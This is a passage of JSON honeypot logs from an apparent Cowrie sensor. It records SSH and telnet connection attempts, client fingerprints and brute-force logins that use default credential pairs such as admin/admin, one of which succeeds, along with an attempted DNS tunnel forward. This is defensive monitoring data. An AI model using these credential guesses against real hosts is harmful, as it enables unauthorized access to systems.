CS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.269138Z","src_ip":"87.251.64.176","session":"b0d862dcae59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.562807Z","src_ip":"87.251.64.176","session":"b0d862dcae59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.663493Z","session":"b0d862dcae59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.762489Z","src_ip":"87.251.64.176","session":"b0d862dcae59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.863155Z","src_ip":"87.251.64.176","session":"b0d862dcae59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44752,"dst_ip":"159.203.135.109","dst_port":22,"session":"93e19c288633","protocol":"ssh","message":"New connection: 103.63.108.25:44752 (159.203.135.109:22) [session: 93e19c288633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.970721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:02.985737Z","src_ip":"103.63.108.25","session":"93e19c288633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:03.238262Z","src_ip":"103.63.108.25","session":"93e19c288633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54694,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ae88868eda","protocol":"ssh","message":"New connection: 159.203.92.129:54694 (159.203.135.109:22) [session: 34ae88868eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.071548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.075821Z","src_ip":"159.203.92.129","session":"34ae88868eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.079149Z","src_ip":"159.203.92.129","session":"34ae88868eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa123","message":"login attempt [aaa/aaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.091935Z","src_ip":"159.203.92.129","session":"34ae88868eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53544306755066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.126324Z","src_ip":"43.243.201.97","session":"4710c2ab97c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2024","message":"login attempt [ubuntu/ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.268596Z","src_ip":"103.63.108.25","session":"93e19c288633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":48724,"dst_ip":"10.17.0.5","dst_port":22,"session":"d58c82e792f3","protocol":"ssh","message":"New connection: 152.32.238.146:48724 (10.17.0.5:22) [session: d58c82e792f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.507932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.513564Z","src_ip":"152.32.238.146","session":"d58c82e792f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.524849Z","src_ip":"152.32.238.146","session":"d58c82e792f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"123456","message":"login attempt [vpn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:04.604418Z","src_ip":"152.32.238.146","session":"d58c82e792f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":42035,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6665c01d1c","protocol":"telnet","message":"New connection: 91.199.236.33:42035 (159.203.135.109:23) [session: 8f6665c01d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:05.072718Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:05.126008Z","src_ip":"159.203.92.129","session":"34ae88868eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:05.529152Z","src_ip":"103.63.108.25","session":"93e19c288633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:05.630264Z","src_ip":"152.32.238.146","session":"d58c82e792f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":42237,"dst_ip":"159.203.135.109","dst_port":23,"session":"add8383fb319","protocol":"telnet","message":"New connection: 91.199.236.33:42237 (159.203.135.109:23) [session: add8383fb319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:05.887186Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":42437,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f8ecb42c65","protocol":"telnet","message":"New connection: 91.199.236.33:42437 (159.203.135.109:23) [session: e5f8ecb42c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:06.824841Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":43596,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a47446c40d0","protocol":"telnet","message":"New connection: 91.199.236.33:43596 (159.203.135.109:23) [session: 9a47446c40d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:10.272841Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":44086,"dst_ip":"159.203.135.109","dst_port":23,"session":"92f9d5b45e07","protocol":"telnet","message":"New connection: 91.199.236.33:44086 (159.203.135.109:23) [session: 92f9d5b45e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:11.875492Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":44103,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ac0e3a475b","protocol":"telnet","message":"New connection: 91.199.236.33:44103 (159.203.135.109:23) [session: d1ac0e3a475b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:11.928959Z"}
{"eventid":"cowrie.session.closed","duration":30.57406187057495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:12.137779Z","src_ip":"43.243.201.97","session":"d8dddd8e2f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.520309925079346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:13.144186Z","src_ip":"43.243.201.97","session":"281265eda8ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55250310897827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:13.157542Z","src_ip":"43.243.201.97","session":"fe180e61b589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57389807701111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:14.137388Z","src_ip":"43.243.201.97","session":"7d57660dea2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459498405456543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:16.137569Z","src_ip":"43.243.201.97","session":"a46029031898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54199481010437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:17.121879Z","src_ip":"43.243.201.97","session":"e161b353cff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673332929611206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:17.275820Z","src_ip":"43.243.201.97","session":"e2fe8e4ca3e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831222772598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:17.655285Z","src_ip":"91.199.236.33","session":"bfd8f51e844f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.452759265899658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:19.263407Z","src_ip":"91.199.236.33","session":"90bf16537f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509703397750854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:20.131324Z","src_ip":"43.243.201.97","session":"d77b5c5b7011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90854501724243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:20.713999Z","src_ip":"91.199.236.33","session":"c55aab701101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59715175628662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:21.195906Z","src_ip":"43.243.201.97","session":"ae894a57e3ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57507824897766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:22.133537Z","src_ip":"43.243.201.97","session":"36b985be37ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.625667095184326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:22.177079Z","src_ip":"43.243.201.97","session":"29bf6c6092be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":47435,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5ecd74d50ae","protocol":"telnet","message":"New connection: 91.199.236.33:47435 (159.203.135.109:23) [session: c5ecd74d50ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:22.827592Z"}
{"eventid":"cowrie.session.closed","duration":30.849138498306274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:24.660173Z","src_ip":"91.199.236.33","session":"f3208ecca6eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991706132888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:25.142395Z","src_ip":"43.243.201.97","session":"f12f85760b7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836639642715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:25.660013Z","src_ip":"91.199.236.33","session":"7d8ac8be2e63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.663644313812256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:26.496177Z","src_ip":"91.199.236.33","session":"66d5db8edf68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58224,"dst_ip":"159.203.135.109","dst_port":22,"session":"95bb954eab73","protocol":"ssh","message":"New connection: 80.94.92.186:58224 (159.203.135.109:22) [session: 95bb954eab73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:27.140973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:27.233699Z","src_ip":"80.94.92.186","session":"95bb954eab73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:27.373826Z","src_ip":"80.94.92.186","session":"95bb954eab73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:28.370337Z","src_ip":"80.94.92.186","session":"95bb954eab73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:29.598220Z","src_ip":"80.94.92.186","session":"95bb954eab73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03417730331421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:29.654692Z","src_ip":"91.199.236.33","session":"3db7413f1601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":49569,"dst_ip":"159.203.135.109","dst_port":23,"session":"aefe45b4c06c","protocol":"telnet","message":"New connection: 91.199.236.33:49569 (159.203.135.109:23) [session: aefe45b4c06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:30.339705Z"}
{"eventid":"cowrie.session.closed","duration":30.551299810409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:32.155665Z","src_ip":"43.243.201.97","session":"c3693fa18fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8444561958313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:32.655784Z","src_ip":"91.199.236.33","session":"dafc17c4c6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":51209,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1c36e971c2","protocol":"telnet","message":"New connection: 91.199.236.33:51209 (159.203.135.109:23) [session: 7a1c36e971c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:34.774609Z"}
{"eventid":"cowrie.session.closed","duration":30.579989433288574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:35.652573Z","src_ip":"91.199.236.33","session":"8f6665c01d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":51646,"dst_ip":"159.203.135.109","dst_port":23,"session":"0036a12acfa6","protocol":"telnet","message":"New connection: 91.199.236.33:51646 (159.203.135.109:23) [session: 0036a12acfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:35.817380Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":51659,"dst_ip":"159.203.135.109","dst_port":23,"session":"091aad2d2e16","protocol":"telnet","message":"New connection: 91.199.236.33:51659 (159.203.135.109:23) [session: 091aad2d2e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:35.833483Z"}
{"eventid":"cowrie.session.closed","duration":30.764296293258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:36.651354Z","src_ip":"91.199.236.33","session":"add8383fb319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.199.236.33","src_port":52201,"dst_ip":"159.203.135.109","dst_port":23,"session":"56148adea4ae","protocol":"telnet","message":"New connection: 91.199.236.33:52201 (159.203.135.109:23) [session: 56148adea4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:36.831498Z"}
{"eventid":"cowrie.session.closed","duration":30.857176542282104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:31:37.681888Z","src_ip":"91.199.236.33","session":"e5f8ecb42c65","protocol":"telnet"}
